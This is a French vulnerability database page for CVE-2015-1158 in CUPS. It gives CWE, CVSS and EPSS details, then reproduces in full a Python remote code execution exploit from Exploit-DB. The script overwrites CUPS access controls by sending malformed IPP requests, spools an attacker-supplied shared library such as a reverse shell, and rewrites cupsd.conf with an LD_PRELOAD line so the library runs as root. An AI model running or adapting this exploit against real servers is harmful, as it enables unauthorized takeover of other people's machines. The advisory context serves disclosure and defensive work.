Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-254 |
Category : 7PK - Security Features Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41233
Date de publication : 2017-02-02 23h00 +00:00
Auteur : @0x00string
EDB Vérifié : No
#!/usr/bin/python
# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution
# Google Dork: n/a
# Date: 2/2/17
# Exploit Author: @0x00string
# Vendor Homepage: cups.org
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2
# Version: <2.0.3
# Tested on: Ubuntu 14/15
# CVE : CVE-2015-1158
import os, re, socket, random, time, getopt, sys
from socket import *
from struct import *
def banner():
print '''
lol ty google
0000000000000
0000000000000000000 00
00000000000000000000000000000
0000000000000000000000000000000
000000000 0000000000
00000000 0000000000
0000000 000000000000
0000000 000000000000000
000000 000000000 000000
0000000 000000000 000000
000000 000000000 000000
000000 000000000 000000
000000 00000000 000000
000000 000000000 000000
0000000 000000000 0000000
000000 000000000 000000
0000000000000000 0000000
0000000000000 0000000
00000000000 00000000
00000000000 000000000
0000000000000000000000000000000
00000000000000000000000000000
000 0000000000000000000
0000000000000
@0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py
'''
def usage ():
print ("python script.py <args>\n"
" -h, --help: Show this message\n"
" -a, --rhost: Target IP address\n"
" -b, --rport: Target IPP service port\n"
" -c, --lib /path/to/payload.so\n"
" -f, --stomp-only Only stomp the ACL (no postex)\n"
"\n"
"Examples:\n"
"python script.py -a 10.10.10.10 -b 631 -f\n"
"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")
exit()
def pretty (t, m):
if (t is "+"):
print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
elif (t is "-"):
print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
elif (t is "*"):
print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
elif (t is "!"):
print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",
def createDump (input):
d, b, h = '', [], []
u = list(input)
for e in u:
h.append(e.encode("hex"))
if e == '0x0':
b.append('0')
elif 30 > ord(e) or ord(e) > 128:
b.append('.')
elif 30 < ord(e) or ord(e) < 128:
b.append(e)
i = 0
while i < len(h):
if (len(h) - i ) >= 16:
d += ' '.join(h[i:i+16])
d += " "
d += ' '.join(b[i:i+16])
d += "\n"
i = i + 16
else:
d += ' '.join(h[i:(len(h) - 0 )])
pad = len(' '.join(h[i:(len(h) - 0 )]))
d += ' ' * (56 - pad)
d += ' '.join(b[i:(len(h) - 0 )])
d += "\n"
i = i + len(h)
return d
class tcpsock:
def __init__(self, sock=None):
if sock is None:
self.sock = socket(
AF_INET, SOCK_STREAM)
self.sock.settimeout(30)
else:
self.sock = sock
def connect(self, host, port):
self.sock.connect((host, int(port)))
def tx(self, msg):
self.sock.send(msg)
def rx(self):
tmp = self.sock.recv(1024)
msg = ""
while tmp:
msg += tmp
tmp = self.sock.recv(1024)
return msg
def txrx (ip, port, proto, txpacket):
if (proto is "tcp"):
sock = tcpsock()
elif (proto is "udp"):
sock = udpsock()
else:
return None
sock.connect(ip, port)
sock.tx(txpacket)
rxpacket = sock.rx()
return rxpacket
def locatePrinters(rhost, rport="631"):
request = ( "GET /printers HTTP/1.1\x0d\x0a"
"Host: " + rhost + ":" + rport + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"\x0d\x0a")
response = txrx(rhost, int(rport), "tcp", request)
if response is not None:
m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)
if m is not None:
printer = m.group(1)
pretty("+","printer found: " + printer)
return printer
else:
pretty("-","no printers")
exit(1)
else:
pretty("-","no printers")
exit(1)
def preparePayload(libpath):
with open(libpath, 'rb') as f:
payload = f.read()
if payload is not None:
pretty("*","Payload:\n" + createDump(payload))
else:
pretty("-","something went wrong")
usage()
return payload
def seedTarget(rhost, rport, printer, payload):
i = random.randint(1,3)
reqid = str(pack(">i",(i+2)))
reqid2 = str(pack(">i",(i+3)))
printer_uri = "ipp://" + rhost + ":" + str(rport) + printer
create_job_packet = ("\x02\x00"
"\x00\x05"+
reqid+
"\x01"
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
"\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"
"\x02"
"\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"
"\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"
"\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"
"\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"
"\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"
"\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"
"\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"
"\x03")
pretty("*","Sending createJob")
http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
"Content-Type: application/ipp\x0d\x0a"
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"
"\x0d\x0a")
createJobRequest = http_header1 + create_job_packet
blah = txrx(rhost,int(rport),"tcp",createJobRequest)
if blah is not None:
m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)
if m is not None:
jobid = m.group(1)
else:
pretty("-","something went wrong");
exit()
pretty("*","\n" + createDump(blah) + "\n")
pretty("*", "Sending sendJob")
send_document_packet = ("\x02\x00"
"\x00\x06"+
reqid2+
"\x01"
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
"\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
"\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"
"\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"
"\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"
"\x03"+
payload)
http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
"Content-Type: application/ipp\x0d\x0a"
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"
"\x0d\x0a")
sendJobRequest = http_header2 + send_document_packet
blah2 = txrx(rhost,int(rport),"tcp",sendJobRequest)
pretty("*","\n" + createDump(blah) + "\n")
pretty("*","job id: " + jobid)
return jobid
def stompACL(rhost, rport, printer):
i = random.randint(1,1024)
printer_url = "ipp://" + rhost + ":" + rport + printer
admin_stomp = ("\x02\x00" # vers 2.0
"\x00\x05"+ # op id: Create Job (0x0005)
str(pack(">i",(i+1)))+
"\x01" # op attributes marker
"\x47" # charset
"\x00\x12" # name len: 18
"attributes-charset"
"\x00\x08" # val len: 8
"us-ascii"
"\x48" # natural language
"\x00\x1b" # name len: 27
"attributes-natural-language"
"\x00\x06" # val len: 6
"/admin"
"\x45" # printer-uri
"\x00\x0b" # name len 11
"printer-uri" +
str(pack(">h", len(printer_url))) + printer_url +
"\x42" # name without lang
"\x00\x14" # name len: 20
"requesting-user-name"
"\x00\x06" # val len: 6
"/admin"
"\x02" # job attrs marker
"\x21" # integer
"\x00\x06" # name len: 6
"copies"
"\x00\x04" # val len: 4
"\x00\x00\x00\x01" # 1
"\x42" # name w/o lang
"\x00\x19" # name len: 25
"job-originating-host-name"
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x36" # nwl
"\x00\x00" # name len: 0
"\x00\x16" # val len: 22
"\x00\x06" # length
"/admin"
"\x00\x0c"
"BBBBBBBBBBBB"
"\x03") # end of attributes
conf_stomp = ("\x02\x00" # vers 2.0
"\x00\x05"+ # op id: Create Job (0x0005)
str(pack(">i",(i+2)))+
"\x01" # op attributes marker
"\x47" # charset
"\x00\x12" # name len: 18
"attributes-charset"
"\x00\x08" # val len: 8
"us-ascii"
"\x48" # natural language
"\x00\x1b" # name len: 27
"attributes-natural-language"
"\x00\x0b" # val len: 11
"/admin/conf"
"\x45" # printer-uri
"\x00\x0b" # name len 11
"printer-uri" +
str(pack(">h", len(printer_url))) + printer_url +
"\x42" # name without lang
"\x00\x14" # name len: 20
"requesting-user-name"
"\x00\x0b" # val len: 11
"/admin/conf"
"\x02" # job attrs marker
"\x21" # integer
"\x00\x06" # name len: 6
"copies"
"\x00\x04" # val len: 4
"\x00\x00\x00\x01" # 1
"\x42" # name w/o lang
"\x00\x19" # name len: 25
"job-originating-host-name"
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x42" # nwol
"\x00\x00" # name len: 0
"\x00\x0c" # val len: 12
"AAAAAAAAAAAA"
"\x36" # nwl
"\x00\x00" # name len: 0
"\x00\x1b" # val len: 27
"\x00\x0b" # length
"/admin/conf"
"\x00\x0c"
"BBBBBBBBBBBB"
"\x03") # end of attributes
http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
"Content-Type: application/ipp\x0d\x0a"
"Host: " + rhost + ":" + rport + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"
"\x0d\x0a")
http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
"Content-Type: application/ipp\x0d\x0a"
"Host: " + rhost + ":" + rport + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"
"\x0d\x0a")
pretty("*","stomping ACL")
pretty("*",">:\n" + createDump(http_header1 + admin_stomp))
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))
time.sleep(1)
pretty("*",">:\n" + createDump(http_header2 + conf_stomp))
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))
http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"
"Host: " + rhost + ":" + rport + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"\x0d\x0a")
pretty("*","checking /admin")
pretty("*",">:\n" + createDump(http_header_check))
res = txrx(rhost,rport,"tcp",http_header_check)
pretty("*","<:\n" + createDump(res))
m = re.search('200 OK', res)
if m is not None:
pretty("+","ACL stomp successful")
else:
pretty("-","exploit failed")
exit(1)
def getConfig(rhost, rport):
i = random.randint(1,1024)
original_config = ""
http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
"Host: " + rhost + ":" + rport + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Close\x0d\x0a"
"\x0d\x0a")
pretty("*","grabbing configuration file....")
res = txrx(rhost,rport,"tcp",http_request)
res_array = res.split("\x0d\x0a\x0d\x0a")
original_config = res_array[1]
pretty("*","config:\n" + original_config + "\n")
return original_config
def putConfig(rhost, rport, config):
http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
"Content-Type: application/ipp\x0d\x0a"
"Host: " + rhost + ":" + rport + "\x0d\x0a"
"User-Agent: CUPS/2.0.2\x0d\x0a"
"Connection: Keep-Alive\x0d\x0a"
"Content-Length: " + str(len(config)) + "\x0d\x0a"
"\x0d\x0a")
pretty("*","overwriting config...")
pretty("*",">:\n" + createDump(http_request + config))
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))
def poisonConfig(config, name):
config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d000" + name + "-001\x0a"
return config
def main():
rhost = None;
rport = None;
noshell = None;
options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:fh', ['rhost=','rport=','lib=','stomp-only','help'])
for opt, arg in options:
if opt in ('-h', '--help'):
usage()
elif opt in ('-a','--rhost'):
rhost = arg;
elif opt in ('-b','--rport'):
rport = arg;
elif opt in ('-c','--lib'):
libpath = arg;
elif opt in ('-f','--stomp-only'):
noshell = 1;
banner()
if rhost is None or rport is None:
usage()
pretty("*","locate available printer")
printer = locatePrinters(rhost, rport)
pretty("*","stomp ACL")
stompACL(rhost, rport, printer)
if (noshell is not None):
pretty("*","fin")
exit(0)
pretty("*","prepare payload")
payload = preparePayload(libpath)
pretty("*","spray payload")
jobid = seedTarget(rhost, rport, printer, payload)
pretty("*","grab original config")
OG_config = getConfig(rhost, rport)
pretty("*","generate poison config")
evil_config = poisonConfig(OG_config, jobid)
pretty("*","upload poison config")
putConfig(rhost, rport, evil_config)
pretty("*","fin")
exit(0);
if __name__ == "__main__":
main()
Products Mentioned
Configuraton 0
Cups>>Cups >> Version To (including) 2.0.2
Références